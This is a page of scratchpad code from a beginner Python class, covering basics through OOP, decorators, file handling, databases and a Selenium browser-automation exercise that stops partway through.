Lab guidePython

Python daily morning 04-11-2022

Last updated 6 December 2023

Python daily morning 04-11-2022

Scratchpad 1 and scratchpad 2

print("Hello World")

# Snake Case - high_score / player_1_high_score
# Camel Case - highScore / player1HighScore
# Pascal Case - HighScore / Player1HighScore
# Kebab Case - high-score / player-1-high-score


# player_one_score = 10
# player_two_score = 15

# total_scores = player_one_score + player_two_score

# print(total_scores)

score1 = 10
score2 = 20

score3 = score1 / score2  # duck typing

Scratchpad 2

# # print("Amount of US Dollars you want to convert?")
# usd = input("Amount of US Dollars you want to convert? ")
# inr = float(usd) * 82.23
# print(f"${usd} is equal to Rs. {inr}")

# name = "Mark Zuckerberg"

# if name == "Elon Musk":
#     print("Twitter")  # code block
# elif name == "Mark Zuckerberg":
#     print("Meta")
# elif name == "Sundar Pichai":
#     print("Google")
# else:
#     print("Unknown name")

# print("Program completed")


# is_logged_in = True

# if is_logged_in:
#     print("Access granted")
# else:
#     print("Access denied")


# logged_in_user = "alklsmndjkasd"

# if logged_in_user:
#     print("Access granted")
# else:
#     print("Access denied")


# age = int(input("Please enter your age: "))
# # age = int(age)

# if age > 65:
#     print("Drinks are free")
# elif age > 21:
#     print("You can enter and you can drink")
# elif age > 18:
#     print("You can enter but you can't drink")
# else:
#     print("Not allowed")


# age = int(input("Please enter your age: "))
# # age = int(age)

# if age >= 18 and age < 21:
#     print("You can enter but you can't drink")
# elif age >= 21 and age < 65:
#     print("You can enter and you can drink")
# elif age > 65:
#     print("Drinks are free")
# else:
#     print("Not allowed")


# age = input("How old are you? ")

# if age:
#     age = int(age)
#     if age >= 18 and age < 21:
#         print("You can enter but you can't drink")
#     elif age >= 21 and age < 65:
#         print("You can enter and you can drink")
#     elif age > 65:
#         print("Drinks are free")
#     else:
#         print("Not allowed")
# else:
#     print("Please enter your age!")


player1 = input("Enter player 1's choice: ")
player2 = input("Enter player 2's choice: ")

if player1 == player2:
    print("It's a tie")
elif (
    (player1 == "rock" and player2 == "scissors")
    or (player1 == "paper" and player2 == "rock")
    or (player1 == "scissors" and player2 == "paper")
):
    print("Player 1 wins")
elif (
    (player2 == "rock" and player1 == "scissors")
    or (player2 == "paper" and player1 == "rock")
    or (player2 == "scissors" and player1 == "paper")
):
    print("Player 2 wins")
else:
    print("Something went wrong")

Scratchpad #3

# # print("Amount of US Dollars you want to convert?")
# usd = input("Amount of US Dollars you want to convert? ")
# inr = float(usd) * 82.23
# print(f"${usd} is equal to Rs. {inr}")

# name = "Mark Zuckerberg"

# if name == "Elon Musk":
#     print("Twitter")  # code block
# elif name == "Mark Zuckerberg":
#     print("Meta")
# elif name == "Sundar Pichai":
#     print("Google")
# else:
#     print("Unknown name")

# print("Program completed")


# is_logged_in = True

# if is_logged_in:
#     print("Access granted")
# else:
#     print("Access denied")


# logged_in_user = "alklsmndjkasd"

# if logged_in_user:
#     print("Access granted")
# else:
#     print("Access denied")


# age = int(input("Please enter your age: "))
# # age = int(age)

# if age > 65:
#     print("Drinks are free")
# elif age > 21:
#     print("You can enter and you can drink")
# elif age > 18:
#     print("You can enter but you can't drink")
# else:
#     print("Not allowed")


# age = int(input("Please enter your age: "))
# # age = int(age)

# if age >= 18 and age < 21:
#     print("You can enter but you can't drink")
# elif age >= 21 and age < 65:
#     print("You can enter and you can drink")
# elif age > 65:
#     print("Drinks are free")
# else:
#     print("Not allowed")


# age = input("How old are you? ")

# if age:
#     age = int(age)
#     if age >= 18 and age < 21:
#         print("You can enter but you can't drink")
#     elif age >= 21 and age < 65:
#         print("You can enter and you can drink")
#     elif age > 65:
#         print("Drinks are free")
#     else:
#         print("Not allowed")
# else:
#     print("Please enter your age!")


player1 = input("Enter player 1's choice: ")
player2 = input("Enter player 2's choice: ")

if player1 == player2:
    print("It's a tie")
elif (
    (player1 == "rock" and player2 == "scissors")
    or (player1 == "paper" and player2 == "rock")
    or (player1 == "scissors" and player2 == "paper")
):
    print("Player 1 wins")
elif (
    (player2 == "rock" and player1 == "scissors")
    or (player2 == "paper" and player1 == "rock")
    or (player2 == "scissors" and player1 == "paper")
):
    print("Player 2 wins")
else:
    print("Something went wrong")

Scratchpad #4

# char = " "

# for char in "Hello World":
#     print(char, "Hello World")

# for num in range(0, 1000):
#     print(num)


# for num in range(10):
#     print(num)

# for num in range(5, 50):
#     print(num)

# for num in range(0, 101, 10):
#     print(num)

# for num in range(0, -10, -1):
#     print(num)

# for num in range(1, 21):
#     if num == 5 or num == 16:
#         print(f"{num} - FizzBuzz")
#     elif num % 2 == 0:
#         print(f"{num} - Fizz is even")
#     elif num % 2 != 0:
#         print(f"{num} - Fizz is odd")


# password = input("Please enter the secret password: ")

# while password != "testpass123":
#     print("Wrong password")
#     password = input("Please enter the secret password again: ")


# for num in range(10):
#     print(num)

# count = 0
# while count < 10:
#     print(count)
#     count += 1


# count = 0
# while count < 10:
#     print(count)
#     if count == 6:
#         break
#     count += 1


# password = input("Please enter the secret password: ")

# while True:
#     if password == "testpass123":
#         break

#     print("Wrong password")
#     password = input("Please enter the secret password again: ")


while True:
    player1 = input("Enter player 1's choice: ")
    player2 = input("Enter player 2's choice: ")

    if player1 == player2:
        print("It's a tie")
    elif (
        (player1 == "rock" and player2 == "scissors")
        or (player1 == "paper" and player2 == "rock")
        or (player1 == "scissors" and player2 == "paper")
    ):
        print("Player 1 wins")
    elif (
        (player2 == "rock" and player1 == "scissors")
        or (player2 == "paper" and player1 == "rock")
        or (player2 == "scissors" and player1 == "paper")
    ):
        print("Player 2 wins")
    else:
        print("Something went wrong")

    play_again = input("Do you want to play again? (y/n): ")
    if play_again != "y":
        break

Scratchpad #5

# langs = ["Python", "JavaScript", "Rust", "Elm", "WASM"]

# # for lang in langs:
# #     print(lang)

# count = 0
# while count < len(langs):
#     print(langs[count])
#     count += 1


langs = [
    "Haskell",
    "JavaScript",
    "Perl",
    "Python",
    "Python",
    "Python",
    "Ruby",
    "Rust",
    "V",
]

count = 0

while count < len(langs):
    print(langs[count])
    count += 2


# count = len(langs) - 1

# while count >= 0:
#     print(langs[count])
#     count -= 2

Scratchpad #6

# nums = [1, 2, 3, 4, 5, 6]

# doubles = []
# for num in nums:
#     doubles.append(num * 2)

# # print(doubles)

# doubles = [num * 2 for num in nums]
# # print(doubles)


# names = ["john", "jack", "jane", "jill"]
# upper_names = [name.upper() for name in names]
# print(names)
# print(upper_names)


# numbers = [1, 2, 3, 4, 5, 6]

# evens = [num for num in numbers if num % 2 == 0]

# print(evens)


# names = ["john", "johnny", "jimmy", "jill"]
# selected = [name for name in names if len(name) < 5]

# selected = []
# for name in names:
#     if len(name) < 5:
#         selected.append(name)

# print(selected)


names = ["john", "johnny", "jimmy", "jill"]

# new_names = [name for name in names if len(name) < 5]
# new_names = [name.upper() if len(name) < 5 else name for name in names]
# print(new_names)

# new_names = []

# for name in names:
#     if len(name) < 5:
#         new_names.append(name.upper())
#     else:
#         new_names.append(name)

# print(new_names)


# message = "Hello Python!"

nl = [[1, 2, 3], [4, 5, 6], [7, 8, 9], [10, 11, 12]]


for lst in nl:  # [4, 5, 6]
    for num in lst:  # 3
        print(num)


nl = [
    [[1, 2, 3], [1, 2, 3, 5], [1, 2, 3]],
    [[1, 2, 3], [1, 2, 3, 2, 234, 324], [1, 2, 3]],
    [[1, 2, 3], [1, 2, 3], [1, 2, 3]],
]

Scratchpad #7

# nested_list = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]


# products = [
#     [
#         "iPhone 14 Pro Max",
#         "Apple",
#         "Some description...",
#         150000,
#         250,
#         True,
#         "electronics",
#     ],
#     [
#         "iPhone 14 Pro Max",
#         "Apple",
#         "Some description...",
#         150000,
#         250,
#         True,
#         "electronics",
#     ],
#     [
#         "iPhone 14 Pro Max",
#         "Apple",
#         "Some description...",
#         150000,
#         250,
#         True,
#         "electronics",
#     ],
# ]

# product1 = [
#     "iPhone 14 Pro Max",
#     "Apple",
#     "Some description...",
#     250,
#     150000,
#     True,
#     "electronics",
# ]

# print(product1[3])

# product2 = [
#     "One Plus Nord",
#     "One Plus",
#     "Some description...",
#     60000,
#     1000,
#     True,
#     "electronics",
# ]


# product1 = {
#     "name": "iPhone 14 Pro Max",
#     "brand": "Apple",
#     "description": "Some description...",
#     "in_stock": 250,
#     "discounted": True,
#     "category": ["electronics", "consumer", "something else"],
#     "price": 150000,
#     1000: "Hello World",
#     "other": {"hello": "world", "test": "text"},
# }

# product2 = dict(name="Nord", brand="One Plus", price=20000)

# print(product2)


book = {
    "name": "The theory of everything",
    "author": "Stephen Hawking",
    "pages": 140,
    "language": "English",
    "in_stock": True,
}

# for value in book.values():
#     print(value)

# for key in book.keys():
#     print(key)

# for item in book.items():
#     print(item)

# for key, value in book.items():
#     print(key, value)


# for key in book:
#     print(key, book[key])

Scratchpad #8

# # def greet():
# #     print("Hello World")
# #     print("Hello Again")


# # greet()
# # greet()
# # greet()


# # def square_of_7():
# #     result = 7**2
# #     return result


# # result = square_of_7()
# # print(result)


# # from random import random


# # def coin_flip():
# #     if random() > 0.5:
# #         print("HEADS")
# #     else:
# #         print("TAILS")


# # coin_flip()


# # def add(num1, num2):
# #     return num1 + num2


# # print(add(10, 23))


# # from random import random


# # def coin_flip():
# #     if random() > 0.5:
# #         print("HEADS")
# #     else:
# #         print("TAILS")


# # def flip(times):
# #     for _ in range(times):
# #         coin_flip()


# # flip(10)


# # def sum_odd_numbers(numbers):
# #     total = 0
# #     for num in numbers:
# #         if num % 2 != 0:
# #             total += num
# #     return total


# # print(sum_odd_numbers([1, 2, 3, 4, 5, 6]))


# # def is_odd_number(number):
# #     if number % 2 != 0:
# #         return True
# #     return False


# # print(is_odd_number(5))


# # def exponent(num=2, power=1):
# #     return num**power


# # print(exponent(5, 4))


# def add(a, b):
#     return a + b


# def mul(a, b):
#     return a * b


# def math(a, b, fn=add):
#     return fn(a, b)


# print(math(10, 20))

# # print(add(10, 4))
# # print(mul(10, 4))


# def full_name(first="Jane", last="Smith"):
#     return "Your name is " + first + " " + last + "."


# print(full_name(last="Doe", first="John"))
# print(full_name("john"))


# full_name = "John Doe"


# def greet():
#     full_name = "Jane Doe"
#     print(full_name)


# # greet()
# print(full_name)


# total = 0


# def static():
#     global total
#     total += 1
#     return total


# print(static())


def outer():
    count = 0

    def inner():
        nonlocal count
        count += 1
        return count

    return inner()


print(outer())

Scratchpad #9

# # # def greet(message, person):
# # #     """
# # #     This function accepts a message and a name.
# # #     @params
# # #     message: str - Message your want to print
# # #     person: str - Name of the person
# # #     """
# # #     return f"{message}, {person}"


# # # # print(greet("Hello, how are you", "John Doe"))

# # # # print(greet.__doc__)
# # # print(print.__doc__)


# # # total = 10


# # # def change(num):
# # #     num += 1
# # #     return num


# # # total = change(num=total)
# # # print(total)


# # def add(*nums):
# #     total = 0
# #     for num in nums:
# #         total += num
# #     return total


# # print(
# #     add(
# #         10,
# #         20,
# #         12,
# #         123,
# #     )
# # )


# # def profile(**details):
# #     print(
# #         f"My name is {details['first_name']} {details['last_name']} and I am {details['age']} years old"
# #     )


# # profile(first_name="John", last_name="Doe", age=25)


# # def show_info(num1, num2, *nums, role="admin", **details):
# #     print(num1, num2, nums, role, details)


# # show_info(1, 2, 3, 4, role="moderator", hello="world", fav_num=10)


# # def add_all_values(*args):
# #     total = 0
# #     for num in args:
# #         total += num
# #     print(total)


# # data = [10, 23, 45, 6, 32]

# # add_all_values(*data)


# def say_name(first, last):
#     print(f"My name is {first} {last}.")


# data = {"first": "John", "last": "Doe"}

# # say_name(data["first"], data["last"])
# say_name(**data)


# def add(a, b):
#     return a + b


# hello_world = add

# print(hello_world(10, 20))


def math(a, b, fn):
    return fn(a, b)


# def add(a, b):
#     return a + b
# def sub(a, b):
#     return a - b
# print(math(10, 5, sub))

# print(math(10, 5, lambda a, b: a * b))
# print(math(10, 5, lambda a, b: a / b))


# def add(a, b):
#     return a + b


# add2 = lambda a, b: a + b

# print(add2(10, 34))


# nums = [1, 2, 3, 4, 5, 6]

# doubles = [num * 2 for num in nums]
# print(doubles)

# doubles2 = list(map(lambda num: num * 2, nums))
# print(doubles2)


# nums = [1, 2, 3, 4, 5, 6]

# evens = [num for num in nums if num % 2 == 0]
# odds = list(filter(lambda num: num % 2 == 1, nums))

# print(evens)
# print(odds)


names = ["John", "Jack", "James", "Desmond", "Charlie", "Jacob"]

print(
    list(
        map(
            lambda name: f"The one who wins is {name}",
            filter(lambda name: len(name) < 5, names),
        )
    )
)

Scratchpad 10

# import random

# SUIT_TUPLE = ("Spades", "Hearts", "Clubs", "Diamonds")
# RANK_TUPLE = (
#     "Ace",
#     "2",
#     "3",
#     "4",
#     "5",
#     "6",
#     "7",
#     "8",
#     "9",
#     "10",
#     "Jack",
#     "Queen",
#     "King",
# )

# NCARDS = 8


# def get_card(deck_list_in):
#     this_card = deck_list_in.pop()
#     return this_card


# def shuffle(deck_list_in):
#     deck_list_out = deck_list_in.copy()
#     random.shuffle(deck_list_out)
#     return deck_list_out


# print("Welcome to higher or lower.")
# print(
#     "You have to choose whether the next card to be shown will be higher or lower than the current card."
# )
# print("Getting it right adds 20 points; get it wrong and you will lose 15 points.")
# print("You have 50 points to start.")
# print()

# starting_deck_list = []
# for suit in SUIT_TUPLE:
#     for this_value, rank in enumerate(RANK_TUPLE):
#         card_dict = {"rank": rank, "suit": suit, "value": this_value + 1}
#         starting_deck_list.append(card_dict)

# score = 50

# while True:
#     game_deck_list = shuffle(starting_deck_list)
#     current_card_dict = get_card(game_deck_list)
#     current_card_rank = current_card_dict["rank"]
#     current_card_value = current_card_dict["value"]
#     current_card_suit = current_card_dict["suit"]
#     print(f"Starting card is {current_card_rank} of {current_card_suit}")
#     print()

#     for card_number in range(0, NCARDS):
#         answer = input(
#             f"Will the next card be higher or lower than the {current_card_rank} of {current_card_suit}? (enter h or l): "
#         )
#         answer = answer.casefold()
#         next_card_dict = get_card(game_deck_list)
#         next_card_rank = next_card_dict["rank"]
#         next_card_suit = next_card_dict["suit"]
#         next_card_value = next_card_dict["value"]
#         print(f"Next card is {next_card_rank} of {next_card_suit}")

#         if answer == "h":
#             if next_card_value > current_card_value:
#                 print("You got it right, it was higher")
#                 score += 20
#             else:
#                 print("Sorry, it was not higher")
#                 score -= 15
#         elif answer == "l":
#             if next_card_value < current_card_value:
#                 print("You got it right, it was lower")
#                 score += 20
#             else:
#                 print("Sorry, it was not lower")
#                 score -= 15

#         print(f"Your score is {score}")
#         print()
#         current_card_rank = next_card_rank
#         current_card_value = next_card_value

#     go_again = input("To play again, press ENTER, or 'q' to quit: ")
#     if go_again == "q":
#         break

# print("Thank you for playing")


person = [["name", "john"], ["job", "programmer"], ["city", "mumbai"]]

personDetails = {}

for lst in person:
    personDetails[lst[0]] = lst[1]

print(personDetails)

Scratchpad #11

# def div(a, b):
#     if type(a) != int or type(b) != int:
#         raise TypeError("a and b need to be integers")
#     return a / b


# print(div(10, "hello"))


# print("Hello World!")
# raise Exception("Something went wrong")
# print("Goodbye World")


# def div(a, b):
#     try:
#         return a / b
#     except:
#         return "Something went wrong"


# def div(a, b):
#     try:
#         return a / b
#     except (TypeError, ZeroDivisionError):
#         return "Something went wrong"


# def div(a, b):
#     try:
#         result = a / b
#     except (TypeError, ZeroDivisionError) as err:
#         return f"Something went wrong. {err}"
#     else:
#         # MORE LOGIC
#         return result
#     finally:
#         print("I will always run!")


# print(div(10, 2))


# import random as r


# def random():
#     print("Hello World")


# print(r.random())
# print(r.randint(10, 100))


from random import randint as ri, random, shuffle

# from random import *

print(ri(1, 100))
print(random())

Scratchpad #12

# message = "Hello World"

# def append():
#     pass

# append()

# class User:
#     def append():
#         pass


# jane = User()
# jane.append
# message = "Hello World"

# print(type(jane))
# print(type(message))


def Person(first_name, last_name, email):
    first_name = first_name
    last_name = last_name
    email = email

    def greet():
        print("Hello World")

    return {
        "first_name": first_name,
        "last_name": last_name,
        "email": email,
        "greet": greet,
    }


class User:
    # Constructor
    def __init__(self, first_name, last_name, email):
        self.first_name = first_name
        self.last_name = last_name
        self.email = email

    def greet(self):
        print("Hello World")


john = User("John", "Doe", "john@example.com")
jane = Person("Jane", "Doe", "jane@example.com")

print(john.first_name)
print(john.last_name)
print(john.email)
john.greet()
print(jane["first_name"])
print(jane["last_name"])
print(jane["email"])
jane["greet"]()

Scratchpad #13

class Customer:
    bank_name = "ABC Bank"
    total_customer_count = 0

    def __init__(self, first_name, last_name, email):
        self.first_name = first_name
        self.last_name = last_name
        self.email = email
        self.country = "India"
        self._balance = 0
        Customer.total_customer_count += 1

    def __repr__(self):
        return f"{self.first_name} {self.last_name}"

    @classmethod
    def get_customer_count(cls):
        return cls.total_customer_count

    def get_balance(self):
        print("Balance was checked")
        return self._balance

    def set_balance(self, new_balance):
        self._balance = new_balance
        print(f"Your balance has been updated")
        return self._balance


cus1 = Customer("John", "Doe", "john@example.com")
cus2 = Customer("Jane", "Smith", "jane@example.com")
cus3 = Customer("Jane", "Smith", "jane@example.com")

print(cus1)
print(cus2)
print(cus3)

# print(Customer.get_customer_count())
# print(Customer.get_balance())

# cus2.set_balance(1000)
# print(cus2.get_balance())
# print(cus1.bank_name)
# print(cus2.bank_name)
# print(Customer.total_customer_count)

# # print(cus1._Customer__balance)
# print(cus1.check_balance())
# cus2.country = "UK"
# cus1.last_name = "Roe"
# print(cus2.country)
# print(cus1.last_name)


langs = [
    "Haskell",
    "JavaScript",
    "Perl",
    "Python",
    "Python",
    "Python",
    "Ruby",
    "Rust",
    "V",
]

count = 0

while count < len(langs):
    print(langs[count])
    count += 2

Scratchpad #14

# class User:  # base class or parent class
#     active_users = 0

#     def __init__(self, first_name, last_name, email, password):
#         self.first_name = first_name
#         self.last_name = last_name
#         self.email = email
#         self.password = password
#         self._balance = 0

#     def __repr__(self):
#         return self.first_name

#     def login(self, password):
#         if password == self.password:
#             print(f"{self.email} has successfully logged in")
#             User.active_users += 1
#             return True
#         return False

#     def logout(self):
#         User.active_users -= 1
#         print(f"{self.email} has successfully logged out")
#         return True

#     @property
#     def balance(self):
#         print(f"Your current balance is Rs. {self._balance}.")
#         return self._balance

#     @balance.setter
#     def balance(self, amount):
#         self._balance = amount
#         print(f"Your new balance is Rs. {self._balance}")
#         return self._balance

#     # def get_balance(self):
#     #     print(f"Your current balance is Rs. {self._balance}.")
#     #     return self._balance

#     # def set_balance(self, amount):
#     #     self._balance = amount
#     #     print(f"Your new balance is Rs. {self._balance}")
#     #     return self._balance


# class Admin(User):  # subclass or child class
#     groups = []

#     def __init__(self, first_name, last_name, email, password, phone):
#         super().__init__(first_name, last_name, email, password)
#         self.phone = phone

#     def create_group(self, group_details):
#         Admin.groups.append(group_details)


# user1 = User("John", "Doe", "john@example.com", "123456")
# user2 = User("Jane", "Smith", "jane@example.com", "123456")

# user3 = Admin("Jack", "Smith", "jack@example.com", "123456", "+91 9876654321")
# user3.create_group({"name": "Python group", "description": "Some description"})
# # user2.login("123456")
# # user3.login("123456")
# # print(Admin.groups)

# # user3._balance = 1000
# # print(user3._balance)
# # user3.set_balance(2500)
# # user3.get_balance()

# # user3.balance = 1000
# # print(user3.balance)

# print(user3.phone)


class Human:
    def __init__(self, name, age):
        self.name = name
        self.age = age

    def __repr__(self):
        return self.name

    def __len__(self):
        return self.age

    def __add__(self, other_human):
        return Human("new born", 0)

    def greet(self):
        print("Hello World")


class Animal:
    def __init__(self, name):
        self.name = name

    def greet(self):
        print("ajksndikljasndkljasd")


class Mutant(Animal, Human):
    def greet(self):
        print("Hello ajksndjkansdjik")


t1 = Human("John", 20)
t2 = Human("Jane", 22)
print(t1 + t2)

# t2 = Animal("Jack")
# t3 = Mutant("Wolverine")

# t1.greet()
# t2.greet()
# t3.greet()


a = [1, 2, 3, 4]

for num in a:
    print(num)



# for num = next(ia) in ia = iter(a):
#     print(num)

Scratchpad #15

# names = ["john", "jack", "jane", "jill", "james"]


# # def my_for(iterable):
# #     iterator = iter(iterable)

# #     while True:
# #         try:
# #             print(next(iterator))
# #         except StopIteration:
# #             break


# # my_for(names)


# class Counter:
#     def __init__(self, start, end, step=1):
#         self.start = start
#         self.end = end
#         self.step = step

#     def __iter__(self):
#         return self

#     def __next__(self):
#         if self.start < self.end:
#             num = self.start
#             self.start += self.step
#             return num
#         else:
#             raise StopIteration


# for num in Counter(0, 50, 5):
#     print(num)


# # r = range(0, 10)
# # c = Counter(0, 10)

# # iter_c = iter(c)
# # next(iter_c)


# def count(start, end, step=1):
#     count = start
#     while count <= end:
#         yield count
#         count += step


# val = count(0, 100, 5)

# for num in val:
#     print(num)

# nums = [1, 1, 2]
# a = 2
# b = 3


# def fib_list(max):
#     nums = []
#     a, b = 0, 1
#     while len(nums) < max:
#         nums.append(b)
#         a, b = b, a + b
#     return nums


# def fib_gen(max):
#     a, b = 0, 1
#     count = 0
#     while count < max:
#         a, b = b, a + b
#         yield a
#         count += 1


# # print(fib_list(1000000))
# # print(fib_gen(100000000000000000000000000000000000000000))
# res = fib_gen(100000000000000000000000000000000000000000)

# for num in res:
#     print(num)

import time

gen_start_time = time.time()
print(sum(num for num in range(100000000)))
gen_stop_time = time.time() - gen_start_time

list_start_time = time.time()
print(sum([num for num in range(100000000)]))
list_stop_time = time.time() - list_start_time

print(f"Generator total time: {gen_stop_time}")
print(f"List Comprehension total time: {list_stop_time}")

Scratchpad #16

# def math(a, b, fn):
#     return fn(a, b)


# def sub(a, b):
#     return a - b


# print(math(10, 5, lambda a, b: a + b))
# print(math(10, 5, sub))


# def sum(n, func):
#     total = 0
#     for num in range(1, n + 1):
#         total += func(num)
#     return total


# def square(n):
#     return n * n


# def cube(n):
#     return n * n * n


# print(sum(10, cube))

import random


# def greet(person):
#     def get_mood():
#         mood = ["Hey", "What!", "What the heck do you want!", "Get lost!"]
#         msg = random.choice(mood)
#         return msg

#     result = f"{get_mood()}, {person}"
#     return result


# print(greet("Jane"))
# print(greet("John"))


# def make_greet_func(person):
#     def make_message():
#         mood = ["Hey", "What!", "What the heck do you want!", "Get lost!"]
#         msg = random.choice(mood)
#         return f"{msg} {person}"

#     return make_message


# greet_john = make_greet_func("John")
# print(greet_john())


def stars(fn):
    def wrapper():
        print(""*" * 10")
        fn()
        print("*" * 10)

    return wrapper


@stars  # say_hello = stars(say_hello)
def say_hello():
    print("Hello World")


# say_hello = stars(say_hello)
say_hello()

# say_hello()

Scratchpad #17

# # def stars(fn):
# #     def wrapper():
# #         print("*" * 10)
# #         fn()
# #         print("*" * 10)

# #     return wrapper


# # @stars
# # def say_hello():
# #     print("Hello World")


# # # say_hello = stars(say_hello)

# # say_hello()

# # from functools import wraps


# # def make_upper_case(fn):
# #     """Decorator that uppercases the returned string"""

# #     @wraps(fn)
# #     def wrapper(*args, **kwargs):
# #         """Wrapper function that will be returned by this decorator"""
# #         return fn(*args, **kwargs).upper()

# #     return wrapper


# # @make_upper_case
# # def say_hello():
# #     """Function that says hello to the world"""
# #     return "Hello World"


# # @make_upper_case  # greet = wrapper(person)
# # def greet(person):
# #     """Function that says hello to some person with a name"""
# #     return f"Hello, {person}"


# # @make_upper_case
# # def say_whatever(message, person):
# #     """Function that says whatever you want to whoever you want"""
# #     return f"{message}, {person}."


# # # print(say_hello())
# # # print(greet("John"))
# # # print(say_whatever("Hello", "John"))

# # print(say_hello.__doc__)
# # print(greet.__doc__)
# # print(say_whatever.__doc__)
# # print(say_hello.__name__)
# # print(greet.__name__)
# # print(say_whatever.__name__)

# # from functools import wraps


# # def make_upper_case(fn):
# #     """Decorator that uppercases the returned string"""

# #     @wraps(fn) # wrapper = wraps(fn)(wrapper)
# #     def wrapper(*args, **kwargs):
# #         """Wrapper function that will be returned by this decorator"""
# #         return fn(*args, **kwargs).upper()

# #     return wrapper

# # enforce(str, int, bool)


# # types = str, int
# # args = msg, times
# # [(msg, str), (times, int)]   ---> str(msg), int(times)
# def enforce(*types):
#     def inner(fn):
#         def wrapper(*args, **kwargs):
#             new_args = []  # ['10000', 3]
#             for a, t in zip(args, types):
#                 try:
#                     new_args.append(t(a))
#                 except (ValueError, TypeError):
#                     print("Something went wrong")
#             return fn(*new_args)

#         return wrapper

#     return inner


# @enforce(str, int)  # announce = enforce(str, int)(announce)
# def announce(msg, times):
#     print(f"{msg} \n" * times)


# # message = input("Please enter a message: ")
# # count = input("How many times do you want the message to be displayed: ")
# # announce(message, count)


# announce(10000, "three")


# Bank
# methods
#

# Customer
# self.balance
# methods
# deposit(amount)
# withdraw(amount) -> if sufficient balance -> raise
# check_balance()
# edit_email()
# edit_name()
# edit -> for all attributes


# john = Customer(...)
# john.deposit(100)

Scratchpad #18

# file = open("./hello.txt")
# # print(file)
# print(file.read())
# file.close()
# print(file.closed)

# with open("./hello.txt", "r") as file:
#     print(file.read())
#     print(file.closed)


# print(file.closed)
# print(file.read())

# with open("./hello.txt", "w") as file:
#     file.write("Hello World\n")
#     file.write("Some other content\n")

# with open("./hello_world.txt", "w") as file:
#     file.write("Hello World " * 100)

# with open("./hello.txt", "a") as file:
#     file.write("Hello Universe\n")
#     file.write("*" * 80)
#     file.write("\n")


# with open("./hello.txt", "r+") as file:
#     file.seek(0)
#     file.write("---This is some sample text---")


# with open("./hello.txt") as file:
#     data = file.read()
#     data = data.replace("Universe", "World")
#     with open("./hello.txt", "w") as f:
#         f.write(data)

# from csv import reader, DictReader

# with open("./data.csv") as file:
#     csv_reader = reader(file)
#     for row in csv_reader:
#         print(row)

# with open("./data.csv") as file:
#     csv_reader = DictReader(file)
#     for row in csv_reader:
#         print(row)


from csv import writer, DictWriter

# with open("./data2.csv", "w", newline="") as file:
#     csv_writer = writer(file)
#     csv_writer.writerow(["Name", "Type"])
#     csv_writer.writerow(["Pikachu", "Electric"])
#     csv_writer.writerow(["Balbasaur", "Grass"])

with open("./data2.csv", "w", newline="") as file:
    headers = ["Name", "Type", "Abilities"]
    csv_writer = DictWriter(file, fieldnames=headers)
    csv_writer.writeheader()
    csv_writer.writerow(
        {"Name": "Pikachu", "Type": "Electric", "Abilities": "Thundershock"}
    )

Scratchpad #19

# import pickle


class User:
    def __init__(self, first_name, last_name, age):
        self.first_name = first_name
        self.last_name = last_name
        self.age = age

    def __repr__(self):
        return f"{self.first_name} {self.last_name}"

    def greet(self):
        return f"Hello my name is {self.first_name} {self.last_name} and I am {self.age} years old"


# # user1 = User("John", "Doe", 20)
# # user2 = User("Jane", "Smith", 25)

# # print(user2.greet())
# # print(user1)

# # with open("users.pickle", "wb") as file:
# #     pickle.dump((user1, user2), file)


# with open("users.pickle", "rb") as file:
#     restored_data = pickle.load(file)
#     user1 = restored_data[0]
#     user2 = restored_data[1]

#     print(user2.greet())

import json
import jsonpickle


# user1 = User("John", "Doe", 20)
# user2 = User("Jane", "Smith", 25)

# print(json.dumps(user1.__dict__))

# with open("users_data.json", "w") as file:
#     data = jsonpickle.encode((user1, user2))
#     file.write(data)

with open("users_data.json") as file:
    data = file.read()
    restored_data = jsonpickle.decode(data)
    user1 = restored_data[0]
    user2 = restored_data[1]

    print(user1.greet())

Scratchpad #20

# # import sqlite3

# # single_data = ["John", "Doe", 25]
# # data = [
# #     ["Jack", "Smith", 34],
# #     ["James", "Roe", 37],
# #     ["Jill", "Doe", 19],
# #     ["Jane", "Smith", 40],
# # ]

# # conn = sqlite3.connect("bank.db")
# # c = conn.cursor()

# # # c.execute("CREATE TABLE customers (first_name TEXT, last_name TEXT, age INTEGER);")
# # # c.execute(
# # #     "INSERT INTO customers (first_name, last_name, age) VALUES ('Joe', 'Roe', 30)"
# # # )

# # query = """INSERT INTO customers VALUES (?, ?, ?)"""
# # # c.execute(query, single_data)

# # # for item in data:
# # #     print(f"Writing {item[0]} {item[1]} to database...")
# # #     c.execute(query, item)
# # #     print("Finished\n")

# # c.executemany(query, data)

# # conn.commit()
# # conn.close()

# from pymongo import MongoClient

# client = MongoClient("mongodb://127.0.0.1:27017")

# db = client.bankapp
# coll = db["customers"]

# user = {"first_name": "John", "last_name": "Doe", "age": 20}
# users = [
#     {"first_name": "Jane", "last_name": "Doe", "age": 24},
#     {"first_name": "Jack", "last_name": "Ma", "age": 30},
#     {"first_name": "Jill", "last_name": "Roe", "age": 37},
#     {"first_name": "James", "last_name": "Marr", "age": 43},
# ]

# # coll.insert_one(user)
# # coll.insert_many(users)

# search_result = coll.find({"last_name": "Doe"})
# print(list(search_result))

# -------------- SELENIUM ---------------

from time import sleep
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.by import By

browser = webdriver.Chrome("chromedriver.exe")
browser.maximize_window()

# browser.get("https://www.youtube.com/")
# sleep(3)

# search_box = browser.find_element(
#     By.XPATH,
#     "/html/body/ytd-app/div[1]/div/ytd-masthead/div[3]/div[2]/ytd-searchbox/form/div[1]/div[1]/input",
# )
# sleep(1)
# search_box.click()
# search_box.send_keys("avatar 2 trailer", Keys.ENTER)
# sleep(3)

# video = browser.find_element(By.PARTIAL_LINK_TEXT, "New Trailer")
# sleep(1)
# video.click()

# # video = browser.find_element(
# #     By.XPATH,
# #     "/html/body/ytd-app/div[1]/ytd-page-manager/ytd-search/div[1]/ytd-two-column-search-results-renderer/div[2]/div/ytd-section-list-renderer/div[2]/ytd-item-section-renderer/div[3]/ytd-video-renderer[1]/div[1]/div/div[1]/div/h3/a/yt-formatted-string",
# # )
# # sleep(1)
# # video.click()

# sleep(20)

# -----------------------------------------------

# browser.get("https://web.whatsapp.com/")
# sleep(30)

# search_box = browser.find_element(
#     By.XPATH, "/html/body/div[1]/div/div/div[3]/div/div[1]/div/div/div[2]/div/div[2]"
# )
# sleep(1)
# search_box.click()
# search_box.send_keys("PYTHON Morning RS 4/11/22", Keys.ENTER)
# sleep(2)


# for i in range(20):
#     message_box = browser.find_element(
#         By.XPATH,
